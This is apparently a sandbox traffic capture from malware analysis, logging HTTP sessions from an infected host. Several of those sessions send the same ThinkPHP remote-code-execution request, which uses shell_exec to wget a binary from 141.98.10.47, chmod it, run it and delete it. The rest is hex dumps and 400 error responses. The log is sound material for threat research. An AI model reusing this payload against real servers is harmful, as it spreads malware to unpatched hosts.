b3 1b 51 d7 50 1a 12 e1 b8 84 64 4b 95 a4 78 da d4 7f 67 96 0a b3 c5 34 97 e9 3e cc 68 99 03 1a 98 b5 35 f4 66 25 99 73 46 51 6f 31 67 2b 89 58 2b fe 80 93 54 82 41 c9 34 ee 00 0a 81 9a 90 69 df 1a cb b4 35 2e a0 2f cf 35 12 cc d0 a5 15 11 ac a4 16 cb ba b6 83 6c 77 b1 46 97 53 cd 67 de e4 9c 8b 19 83 3a 6c bd ee 6a 79 46 62 b5 db 63 c7 54 5d ad 72 a3 71 4b ef e8 5e 54 32 12 3c 9a 91 8a ab a8 74 c2 3f 10 2a 62 4e cb 07 55 4a db 6b b4 2b b8 c4 e9 34 23 3d 15 62 7b df b9 c8 55 69 50 91 a6 90 78 66 9c 96 b8 03 31 88 4a 6d 94 1e 6f 17 ca d5 43 6f 2f 8e 6d 75 68 9b 20 78 e4 2e 8d db 4f f0 72 a7 ce 29 be 68 27 db f3 7c 23 31 e7 62 21 12 61 b6 37 59 5a 10 44 7b 8b 17 c5 4a e1 6e c9 b2 15 eb ee ce cd a9 8f 94 50 7a 04 df 0d 87 c3 46 ab 62 8c 94 ae 20 1c d1 99 92 48 79 bf a1 93 86 c4 c7 a5 cb 82 cd 90 a4 44 37 b4 95 a0 a8 9a 49 Data Ascii: XR6Oqg$]@2HutVNI>}>Ib]>LH2 >z28}x~\!\|xuvC8LnLcbip6rvq3mrlWfOkk-&v\| '@?<WJ%$ZV&A*eKs!\|xGcBaKO%%-E=g.(c?{? :,D:9aR[40Z1HUxRVl==y~rkxrttrs\|rd1,xC8@{^4a@Z- aP#z\|N{.Prn6BDJU{-R<Ofv]B)\|,RX)0`U6K+GcM^MQ74FX@K%qaqMA0Z+_X]fgrnt7jf<qw8/S0am:)p>B,Q-x[s^L\|XPV+N2$XeRUnSlUd}{G(sNGr7hn41u5OQPdKxg4>h5f%sFQo1g+X+TA4i5./5lwFSg:ljyFbcT]rqK^T2<t?bNUJk+4#=b{UiPxf1JmoCo/muh x.Or)h'\|#1b!a7YZD{JnPzFb HyD7I
Dec 26, 2023 21:23:59.300446033 CET	504	IN	Data Raw: f3 a4 41 72 a8 f4 d9 98 ba de 33 62 60 86 b9 23 5d 47 b2 07 70 ce 81 ae 7d 10 48 e0 bb bb 7d 65 07 cb 85 00 4b e5 a1 db 4a 18 30 73 94 86 58 b4 60 3c dd b0 24 a0 e8 ce d6 b4 99 fa 48 63 36 07 6a 9e 9e 0c a0 27 70 cb 54 13 ca 69 2b b5 fb ee b7 55 Data Ascii: Ar3b`#]Gp}H}eKJ0sX`<$Hc6j'pTi+Uvd_K{Bgna4R6~}W`"TN>3b>Lg(s'\|}=^J8Y<H#]$wg\|TYr~Z-?{
Dec 26, 2023 21:23:59.300487995 CET	22	IN	Data Raw: 03 00 5c 89 fc d4 de 11 00 00 Data Ascii: \

Session ID	Source IP	Source Port	Destination IP	Destination Port
233	192.168.2.23	45364	112.109.68.176	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:59.629262924 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:59.955602884 CET	427	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:59 GMT Server: Apache Vary: Accept-Encoding Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.23	49080	112.215.183.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:59.704193115 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:00.108225107 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:59 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Connection: Close Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_1
Dec 26, 2023 21:24:00.108241081 CET	506	IN	Data Raw: 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 Data Ascii: 50x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-bloc

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.23	50086	95.212.144.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:59.813400030 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	49088	112.215.183.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:00.043519020 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:00.462682962 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:00 GMT Content-Type: text/html; charset=UTF-8 Server: gvs 1.0 Connection: Close Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_1
Dec 26, 2023 21:24:00.462743044 CET	506	IN	Data Raw: 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 Data Ascii: 50x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-bloc

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	50328	112.175.118.187	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:00.288237095 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:00.613770962 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Tue, 26 Dec 2023 20:23:59 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	36176	112.137.163.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:00.438734055 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:01.296576023 CET	1286	IN	HTTP/1.1 400 Bad Request Connection: close Content-type: text/html; charset="utf-8" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 4f 70 65 6e 20 53 61 6e 73 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 61 70 70 6c 69 6e 6b 73 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 35 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 2e 33 33 33 33 33 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 61 6e 2e 61 70 70 6c 6f 67 69 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 6e 74 61 69 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 30 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 70 61 6e 2e 61 70 70 6c 6f 67 69 6e 20 3e 20 73 76 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6d 67 2e 61 70 70 6c 6f 67 69 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 6a 65 63 74 2d 66 69 74 3a 20 63 6f 76 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 2c 20 61 3a 76 69 73 69 74 65 64 2c 20 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 68 32 3e 48 54 54 50 20 65 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 3c 70 3e e2 80 9c 48 6f 73 74 e2 80 9d 20 68 65 61 64 65 72 20 69 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 0a 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 61 70 70 6c 69 6e 6b 73 22 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 31 32 2d 31 33 37 2d 31 36 33 2d 37 32 2e 63 70 72 61 70 69 64 Data Ascii: <!DOCTYPE html><html> <head> <title>Bad Request</title> <style type="text/css"> body { font-family: "Open Sans", helvetica, arial, sans-serif; } .applinks, .copyright { margin-top: 25px; } .copyright { font-size: 9.33333px; text-align: center; } span.applogin { display: inline-block; background-repeat: no-repeat; background-size: contain; padding-right: 200px; padding-bottom: 20px; } span.applogin > svg { height: 1em; width: auto; vertical-align: middle; } img.applogin { object-fit: cover; } a, a:visited, a:hover { text-decoration: none; } </style> </head> <body> <h2>HTTP error 400: Bad Request</h2> <p>Host header is required.</p> <ul class="applinks"><li><a href="https://112-137-163-72.cprapid
Dec 26, 2023 21:24:01.296684980 CET	1286	IN	Data Raw: 2e 63 6f 6d 3a 32 30 38 37 22 3e 4c 6f 67 20 69 6e 20 74 6f 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 70 70 6c 6f 67 69 6e 22 20 74 69 74 6c 65 3d 22 57 48 4d 22 3e 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e Data Ascii: .com:2087">Log in to <span class="applogin" title="WHM"><svg xmlns="http://www.w3.org/2000/svg" width="1212" height="320" viewBox="0 0 909 240"><defs><clipPath id="a"><path d="M867 0h41.727v42H867zm0 0"/></clipPath></defs><path d="M365.102 14.
